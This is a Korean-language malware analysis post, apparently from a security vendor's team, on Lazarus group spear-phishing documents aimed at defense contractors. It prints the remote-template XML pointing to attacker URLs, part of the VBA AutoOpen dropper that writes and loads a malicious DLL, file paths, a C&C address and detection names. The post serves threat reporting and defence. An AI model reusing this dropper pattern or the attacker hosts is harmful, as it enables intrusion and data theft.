본문 바로가기
악성코드 정보

Lazarus 그룹의 방위산업체 대상 공격 증가

by 분석팀 2020. 5. 8.

Lazarus 그룹의 방위산업체 대상 공격이 지난달부터 증가하고 있다. 공격은 Microsoft Office Word 프로그램의 Office Open XML 타입의 워드 문서 파일을 이용하였다. (샘플 출처: 해외 트위터)

 

  • Senior_Design_Engineer.docx - 영국 BAE 시스템즈 (5월 접수)
  • Boeing_DSS_SE.docx - 미국 Boeing (5월 접수)
  • US-ROK Relations and Diplomatic Security.docx - 국내 ROK (4월 접수)

 

문서 파일은 공통으로 외부 External 주소에 접속하여 추가 문서 파일(*.dotm, Word Macro-Enabled Template)을 다운받는다. 다운된 추가 문서 파일은 특정 패턴의 VBA 매크로 코드로 악성 DLL 파일을 시스템에 생성 및 동작한다. 

 

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://www.astedams.it/uploads/frame/61.dotm" TargetMode="External"/></Relationships>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://www.astedams.it/uploads/template/17.dotm" TargetMode="External"/></Relationships>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="
https://od.lk/d/MzBfMjA1Njc0ODdf/pubmaterial.dotm
" TargetMode="External"/></Relationships>

VBA 코드는 AutoOpen() 함수를 이용한다. 실행 시 최초 실행한 문서 파일을 삭제하고 '<파일명> .doc' 이름으로 정상 문서 파일을 시스템에 만들어 사용자에게 보여줌과 동시에 악성 DLL 파일을 x64/x86를 구분하여 시스템에 생성, 실행한다. 생성에 필요한 바이너리 데이터는 UserForm에 Base64로 인코딩되어 있다. DLL 파일의 경로는 Microsoft 경로를 위장한다.

 

  • %UserProfile%\AppData\Local\Microsoft\Notice\ws\wsdts.db
  • %UserProfile%\AppData\Local\Microsoft\Notice\ws\wsuer.db
  • %UserProfile%\AppData\Local\Microsoft\OneNote\onenote.db

 

아래는 VBA 코드 일부이다. 악성 파일의 코드 패턴은 전체적으로 같다. VBA 코드를 이용해 생성한 DLL의 Export 함수를 호출하여 실행한다. 이때 독특한 점은 특정 길이의 유니크한 숫자 정보를 함께 전달하여 이후 DLL 실행 시 유효한 인자 여부를 확인한다.

 

영국 BAE 시스템즈 sqlite3_stmt_all(orgDocPath, "S-6-81-3811-75432205-060098-6872", "61")
미국 Boeing sqlite3_stmt_all(orgDocPath, "S-6-81-3811-75432205-060098-6872", "17")
국내 ROK CoContentInfo(orgDocPath, "S-6-38-4412-76700627-315277-3247", "18")

 

Private Declare PtrSafe Function sqlite3_stmt_all Lib "wsdts.db" (ByVal lpDocPath As String, ByVal lpPass As String, ByVal lpUID As String) As Long
Private Declare PtrSafe Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As LongPtr

.....

Sub AutoOpen()
    On Error Resume Next

    Application.Visible = False

    dllPath = GetDllName()
    docPath = GetDocName()
    orgDocPath = ActiveDocument.Path & "\" & ActiveDocument.Name

    ExtractDll (dllPath)
    ExtractDoc (docPath)
    
    LoadLibraryA (dllPath)

    a = sqlite3_stmt_all(orgDocPath, "S-6-81-3811-75432205-060098-6872", "61")
    
    Dim objDocApp
    Set objDocApp = CreateObject("Word.Application")
    objDocApp.Visible = True
    objDocApp.Documents.Open docPath

    Application.Quit (wdDoNotSaveChanges)

End Sub

 

DLL 파일은 SQLite3 관련 함수를 이용하고 있다. 사용자 정보 탈취를 위한 SQLite 데이터베이스 파싱을 목적으로 한다. 가장 처음 유포되었던 '국내 ROK' 관련 문서에서 생성된 DLL 파일은 패킹되어 있지 않지만, 가장 최근 접수된 '영국 BAE 시스템즈' 관련 문서에서 생성된 DLL 파일은 UPX 로 팩 되어 있다. 아래는 호출된 sqlite3_stmt_all 함수이다.  시스템 정보 탈취 등을 위한 추가 스레드를 생성과 다른 함수 실행을 위한 rundll32.exe 프로세스를 실행하는 부분이 확인된다. 정보 수집 이후에는 C&C 서버(www.astedams.it/newsl/offerte-news.asp 등)에 POST로 정보를 전송한다. 

 

 

현재 안랩은 해당 악성코드들에 대해서 다음과 같이 진단하고 있다. 

 

  • Downloader/XML.External
  • Dropper/VBA.Agent
  • W97M/Dropper
  • Trojan/Win32.Agent
  • Trojan/Win32.Akdoor
  • 이외 다수

댓글